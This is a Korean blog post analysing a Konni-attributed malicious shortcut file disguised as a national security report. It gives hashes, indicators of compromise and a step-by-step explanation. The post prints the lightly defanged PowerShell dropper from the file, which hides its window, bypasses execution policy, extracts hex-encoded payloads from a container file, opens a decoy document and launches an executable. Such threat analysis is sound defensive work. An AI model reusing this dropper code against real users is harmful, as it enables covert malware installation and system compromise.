꿈을꾸는 파랑새

오늘은 북한 해킹 단체인 코니(Konni) 에서 만든 악성코드인 국가안보연보고서2 에 대해서 알아보겠습니다. 해당 악성코드는 국가안보전략연구원 쪽 2025년 12월 26일에 나온 것을 돼 있으며 제목은 북한 노동당 제9차 대회 예상되는 경제 정책 변화 전망으로 돼 있으며 탈북자 출신 1호 박사님 이름으로 돼 있는 악성코드입니다.
파일명:국가안보연보고서2.hwp.lnk
사이즈:3 MB
MD5:6b5d31a3d90b764b78c9cdfac2656d5c
SHA-1:cb5db685f1f88ac1926ca493b13194de0f84d4a2
SHA-256:b3096199a4e7ee7a51147d734fd107e2cf8fac01c4e642c9b35b7185957721b9

PowerShell 내용

악성코드 에 포함이 되어져 있는 PowerShell 코드
악성코드 에 포함이 되어져 있는 PowerShell 코드

StringData
{
    namestring: not present
    relativepath: not present
    workingdir: not present
    commandlinearguments: -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$loc=
    Get-Loc(t)ion;$paths=@($env:TE?P,$loc);$sz=2116(1)16;$f=Get-ChildItem -Path $path
    s -Recurse *.* -File -ErrorAction SilentlyContinue | Where-Object{$_.Length-eq $s
    } | Select-Object -First 1 -Expand FullName;$raw=[IO(.)File]::R?adAllBytes($f);$
    t=[Text.Encoding]::ASCII.GetString($raw);$a=$t.IndexOf('N?FO');$b=$t.IndexOf('BC
    FO');$c=$t.IndexOf('SCFO');$d=$t.IndexOf('KCFO');$x=$t.Sub?tring($a+4,$b-$a-4);$
    y=$t.Substring($b+4,$c-$b-4);$z=$t.Substring($c+4,($)(d)-$c-4);function HX($s){$
    bu(f)=New-Object byte[] ($s.Length/2);for($(i)=0;$i-lt$buf.Length;$i++){$buf[$i]
    =[Convert]::ToByte($s.Substring($i*2,2),16)}return $buf}[IO.File]::WriteAllBytes('c
    :\users\public(\)attach(.)hwp',(HX $x));Start-Process 'c:\users\public\attach(.)hwp
    ';[IO.File]::WriteAllBytes('c(:)\programdata\heidi(.)db',(HX $y));[IO.File]::WriteA
    llBytes('c:\programdata\heidisqls(.)exe',(HX $z));c:\programdata\heidisqls.exe c:\p
    rogramdata\heidi.db"
    iconlocation: C:\Windows\System32\shell32(.)dll
}

악성코드 분석

1. 사용자 몰래 실행
-WindowStyle Hidden:콘솔 창 숨김
-ExecutionPolicy Bypass:PowerShell 실행 정책 우회
-Command ...:바로 뒤에 이어지는 스크립트를 바로 실행->사용자가 클릭해도 화면에 보이지 않게 실행을 하려고 하는 목적
2. 특정 크기의 파일을 찾아서 컨테이너로 사용
검색 위치: %TEMP%와 현재 작업 폴더(Get-Location)
검색 조건: 파일 크기가 정확히 2,116,116 바이트인 파일 1개를 찾음
찾은 파일을 $f로 지정

악성코드 실행시 나오는 미끼 파일 내용
악성코드 실행시 나오는 미끼 파일 내용

3.컨테이너 파일에서 특정 문자열(마커)로 구간을 나눔
컨테이너(2,116,116 바이트짜리 파일)를 통째로 읽고 ASCII 문자열로 변환하고 다음 마커들을 찾음
NCFO
BCFO
SCFO
KCFO
그리고 마커 사이의 내용을 잘라서 3개 조각으로 분리
$x =NCFO 와 BCFO 사이
$y =BCFO 와 SCFO 사이
$z =SCFO 와 KCFO 사이

악성코드 만 추출
악성코드 만 추출

4. 잘라낸 문자열을 16진수로 읽어서 바이너리로 복원
$x, $y, $z 는 16진수 텍스트일 때 이를 실제 바이너리 바이트로 변환함
5.파일 3개를 드롭해서 문서 열고, EXE 실행
결과적으로 디스크에 아래의 파일 생성
생성되는 파일 위치
C:\Users\Public\attach.hwp
생성 후 바로 열기(Start-Process)
미끼(Decoy) 문서 역할
C:\ProgramData\heidi.db
C:\ProgramData\heidisqls.exe
heidisqls.exe 를 실행하면서 heidi.db 를 인자로 전달 함
공격 흐름
사용자가 LNK(바로 가기) 을 클릭
PowerShell 실행
TEMP/현재 폴더에서 정해진 크기(2,116,116B) 파일을 찾아 컨테이너로 삼음
해당 컨테이너에서 NCFO/BCFO/SCFO/KCFO 마커로 구간을 나눠 3개 바이너리를 복원
미끼 HWP를 열어 사용자를 안심시키는 동안 heidisqls.exe 를 실행해 실제 악성 동작 수행
IOC
생성/실행 파일 경로
C:\Users\Public\attach.hwp
C:\ProgramData\heidi.db
C:\ProgramData\heidisqls.exe
이렇게 동작을 하면 RoKRAT 에 가깝지 않을까? 생각이 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band